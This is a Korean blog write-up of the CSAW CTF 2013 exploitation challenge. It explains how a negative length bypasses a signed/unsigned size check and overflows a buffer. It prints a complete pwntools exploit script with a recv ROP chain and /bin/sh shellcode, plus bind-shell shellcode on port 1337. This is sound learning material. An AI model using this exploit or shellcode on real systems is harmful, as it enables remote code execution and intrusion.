복잡한 쉘코드는 건너뛰고 생각하자.
코드를 따라가면서 읽다보면 대충 id와 password같은 문자열이 보인다.
csaw2013
S1mplePWD
입력하면 로그인이 되고 "Entry info: "가 뜬다.
ida로 코드를 읽어보면
먼저 사용자가 버퍼에 입력할 entry의 길이를 입력하고
버퍼에 entry를 입력한다.
여기서 주의해야할 점은 entry의 길이가 1024미만이어야 한다는 것이다.
1 2 3 4 | n = (signed __int16)entry_len; if ( (unsigned int)((signed __int16)entry_len + 1) <= 1024 ) { v7 = recv(fd, &buf, n, 0); | cs |
그런데 버퍼가 함수의 ret로 부터 0x41C 만큼 떨어져있다.
즉, bof를 위해서는 1052보다 많이 덮어써야 하는데 입력을 1024까지만 받는다.
여기서 막혀서 못풀었다.
라업을 뒤지다보니 엄청난 방법이 있었다.
entry_len의 자료형은 int이다.
그런데 실제 recv에 들어가는 n의 자료형, 앞에서 entry_len의 값이 들어가는 n은 자료형이 size_t이다.
1 | size_t n; // [esp+4C4h] [ebp-14h] | cs |
size_t 자료형은 c언어에서 unsigned int 자료형과 비슷하다고 보면 된다.
그래서 entry의 길이를 -1로 입력했을 경우 entry_len이 n에 대입되는 과정에서
맨 앞 부호를 음수 처리용으로 사용하는 int값 -1 4비트가
맨 앞 부호까지 양수 표현에만 사용하는 unsigned int에서는 엄청 큰 수로 인식되는 것이다.
따라서 1024를 넘어서 버퍼에 입력을 할 수 있게된다.
bof 가능
페이로드 구성
dump(1056) + recv_addr + bss + int:4 + bss + len(shellcode) + int:0
참고로 recv 함수는 마지막 flag 인자에 0을 넣으면 read 함수와 기능이 같아진다.
정리하자면 entry입력 함수가 종료될 때
recv(4, bss, len(shellcode), 0) == read(4, bss, len(shellcode)) 가 실행된다.
그럼 이제 소켓으로 shellcode를 입력하면 bss영역에 쉘코드가 써진다.
recv함수가 끝난 ret위치에는 bss주소가 있으므로 shellcode가 실행된다.
exploit 코드
123456789101112131415161718192021222324252627282930 from pwn import *import time p = remote("localhost",34266) print p.recvuntil(": ")p.sendline("csaw2013")print p.recvuntil(": ")p.sendline("S1mplePWD") to_ret = 1056recv = 0x8048890bss = 0x804B008shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" pay = "\x90"*to_retpay += p32(recv)pay += p32(bss)pay += p32(4)pay += p32(bss)pay += p32(len(shellcode))pay += p32(0) print p.recvuntil(": ")p.sendline("-1")p.sendline(pay)time.sleep(1)p.sendline(shellcode) p.interactive() cs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | from pwn import * import time p = remote("localhost",34266) print p.recvuntil(": ") p.sendline("csaw2013") print p.recvuntil(": ") p.sendline("S1mplePWD") to_ret = 1056 recv = 0x8048890 bss = 0x804B008 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" pay = "\x90"*to_ret pay += p32(recv) pay += p32(bss) pay += p32(4) pay += p32(bss) pay += p32(len(shellcode)) pay += p32(0) print p.recvuntil(": ") p.sendline("-1") p.sendline(pay) time.sleep(1) p.sendline(shellcode) p.interactive() | cs |
참고로 위와 같이 코드를 짜면 쉘이 ./fil_chal을 실행시켜둔 터미널에서 따진다.
즉, ctf에서는 서버상에서 서버가 사용할 수 있는 쉘이 따지는 것
여기서 새로운 쉘코드를 찾았다.
\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80
1337번 포트에 쉘을 여는 쉘코드이다.
쉘코드를 바꾸고 실행한뒤
nc localhost 1337 하면 쉘을 딸 수 있다.
참고로 send사이에 recv가 없으면 sleep으로 시간을 뛰었다가 전송하는 것이 좋다.
'정보보안 > CTF' 카테고리의 다른 글
[ebCTF 2013] pwn 200 (0) | 2018.11.12 |
---|---|
[CSAW CTF 2013] Exploitation4 (0) | 2018.11.12 |
[CSAW CTF 2013] Exploitation2 (0) | 2018.11.09 |
[DEFCON CTF 2015] r0pbaby (0) | 2018.11.08 |
[DEFCON CTF 2016] xkcd (0) | 2018.11.07 |